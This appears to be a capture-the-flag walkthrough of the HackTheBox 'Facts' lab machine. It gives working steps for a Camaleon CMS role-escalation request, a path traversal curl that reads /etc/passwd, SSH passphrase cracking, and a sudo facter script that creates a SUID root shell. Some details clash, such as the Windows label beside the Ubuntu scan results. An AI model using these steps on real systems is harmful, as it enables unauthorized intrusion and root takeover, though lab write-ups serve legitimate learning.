Facts | HackTheBox

Overview

TitleFacts
DifficultyEasy
MachineWindows
Maker


Information Gathering

Scanned all TCP ports:

nmap -p- --min-rate 5000 -vv $IP -oA recon/nmap/ports
Nmap scan report for 10.129.245.101
Host is up, received conn-refused (0.31s latency).
Scanned at 2026-02-07 13:57:56 IST for 125s
Not shown: 46693 closed tcp ports (conn-refused), 18839 filtered tcp ports (no-response)
PORT      STATE SERVICE REASON
22/tcp    open  ssh     syn-ack
80/tcp    open  http    syn-ack
54321/tcp open  unknown syn-ack

Enumerated open TCP ports:

nmap -p22,80,54321 -sC -sV --min-rate 5000 $IP -oA recon/nmap/services
Nmap scan report for facts.htb (10.129.245.101)
Host is up (0.31s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA)
|_  256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)
80/tcp    open  http    nginx 1.26.3 (Ubuntu)
|_http-server-header: nginx/1.26.3 (Ubuntu)
|_http-title: facts
54321/tcp open  http    Golang net/http server
|_http-title: Did not follow redirect to http://facts.htb:9001
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 400 Bad Request
|     Accept-Ranges: bytes
|     Content-Length: 303
|     Content-Type: application/xml
|     Server: MinIO
|     Strict-Transport-Security: max-age=31536000; includeSubDomains
|     Vary: Origin
|     X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
|     X-Amz-Request-Id: 1891E9EAF736568A
|     X-Content-Type-Options: nosniff
|     X-Xss-Protection: 1; mode=block
|     Date: Sat, 07 Feb 2026 08:35:23 GMT
|     <?xml version="1.0" encoding="UTF-8"?>
|     <Error><Code>InvalidRequest</Code><Message>Invalid Request (invalid argument)</Message><Resource>/nice ports,/Trinity.txt.bak</Resource><RequestId>1891E9EAF736568A</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>
|   GenericLines, Help, RTSPRequest, SSLSessionReq: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 400 Bad Request
|     Accept-Ranges: bytes
|     Content-Length: 276
|     Content-Type: application/xml
|     Server: MinIO
|     Strict-Transport-Security: max-age=31536000; includeSubDomains
|     Vary: Origin
|     X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
|     X-Amz-Request-Id: 1891E9E626F16AE7
|     X-Content-Type-Options: nosniff
|     X-Xss-Protection: 1; mode=block
|     Date: Sat, 07 Feb 2026 08:35:03 GMT
|     <?xml version="1.0" encoding="UTF-8"?>
|     <Error><Code>InvalidRequest</Code><Message>Invalid Request (invalid argument)</Message><Resource>/</Resource><RequestId>1891E9E626F16AE7</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Vary: Origin
|     Date: Sat, 07 Feb 2026 08:35:03 GMT
|_    Content-Length: 0
|_http-server-header: MinIO

Enumeration

Port 80 - HTTP (Nginx)

/admin

Account registration is enabled.

This is Camaleon CMS, Version - 2.9.0

But right now, our role is client.

This version of Camaleon CMS is vulnerable to privilege escalation via CVE-2025-2304 Found an exploit

Admin Privilege Escalation

This CVE is about a mass assignment vulnerability in the ruby source code. This is the controller code that is responsible for this vulnerability:

def updated_ajax
  @user = current_site.users.find(params[:user_id])
  update_session = current_user_is?(@user)

  @user.update(params.require(:password).permit!)
  render inline: @user.errors.full_messages.join(', ')

  # keep user logged in when changing their own password
  update_auth_token_in_cookie @user.auth_token if update_session && @user.saved_change_to_password_digest?
end

Since Rails 4, mass assignment is protected by default and you must explicitly define which parameters are allowed. But by using .permit! you allow any incoming data for the user object.

To exploit this we have to capture the change password request and add password[role]=admin to the HTTP body.

S3 bucket

Found aws credentials inside admin panel.

Add the credentials using aws configure.

aws s3 ls --endpoint http://facts.htb:54321
2025-09-11 17:36:52 internal
2025-09-11 17:36:52 randomfacts

Found ssh key inside the bucket internal


Exploitation

Cracking SSH key passphrase

If we cat the SSH key, we can see that no username is specified. We can use ssh-keygen with the -y flag to export the public key and determine the associated username.

ssh-keygen -yf id_ed25519

Use ssh2john to convert the ssh key into hash that can be cracked with john

ssh2john id_ed25519 > ssh.key

Now use john to crack the passphrase.

john key.ssh --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt

The username can be found using this passphrase.

ssh-keysign -p -f id_ed25519

And we can now use these information to ssh into the system

user.txt can be found inside user william

Initial Access (Unintended method)

There’s another way to get the username and ssh key from the machine by exploiting another CVE (which was supposedly patched in Camaleon CMS >= 2.8.1, but was still working in 2.9.0). With this exploit we can skip the entire AWS S3 path, and ssh directly into the trivia user.

The vulnerability is a path traversal in /admin/media/download_private_file tracked as CVE-2024-46987. With this attacker can enter arbitrary path in the file parameter and download that file.

curl -ik http://facts.htb/admin/media/download_private_file?file=../../../../../../etc/passwd

Privilege Escalation

Local Enumeration

sudo -l

The facter command-line interface (CLI) is a tool for gathering and displaying facts (system information) about a node (system). These facts, such as hardware details, network settings, and operating system information, are then used by the Puppet automation tool for conditional expressions in its manifests.

So basically facter is a cli tool that can be used to gather system information. It executes something called a fact, which is in fact just a ruby script, to get these informations. If we check the man page we can see that by using --custom-dir flag we can specify the location for a custom fact, this can be used to make the root user execute ruby scripts we create. Another way is to create an external fact, which can just a shell script. We can then use --external-dir to point to the directory where we put the shell script.

Privilege Escalation

Since writing a shell script is easier, we will just use create an external fact.

#!/bin/bash
cp /bin/bash /home/trivia/rootbash
chmod +s /home/trivia/rootbash

Create a facts directory and put this script inside it. Then we can use facter to execute the script.

sudo facter --external-dir . suid_gen

And we are root!

We could have also used a ruby script to create a custom fact and execute that insted:

Facter.add(:read_flag) do
  confine kernel: 'Linux'

  setcode do
    path = '/root/root.txt'

    if File.file?(path) && File.readable?(path)
      File.read(path)
    else
      nil
    end
  end
end

Then execute it by running:

sudo facter --custom-dir . read_flag

References

updated at 2026-06-07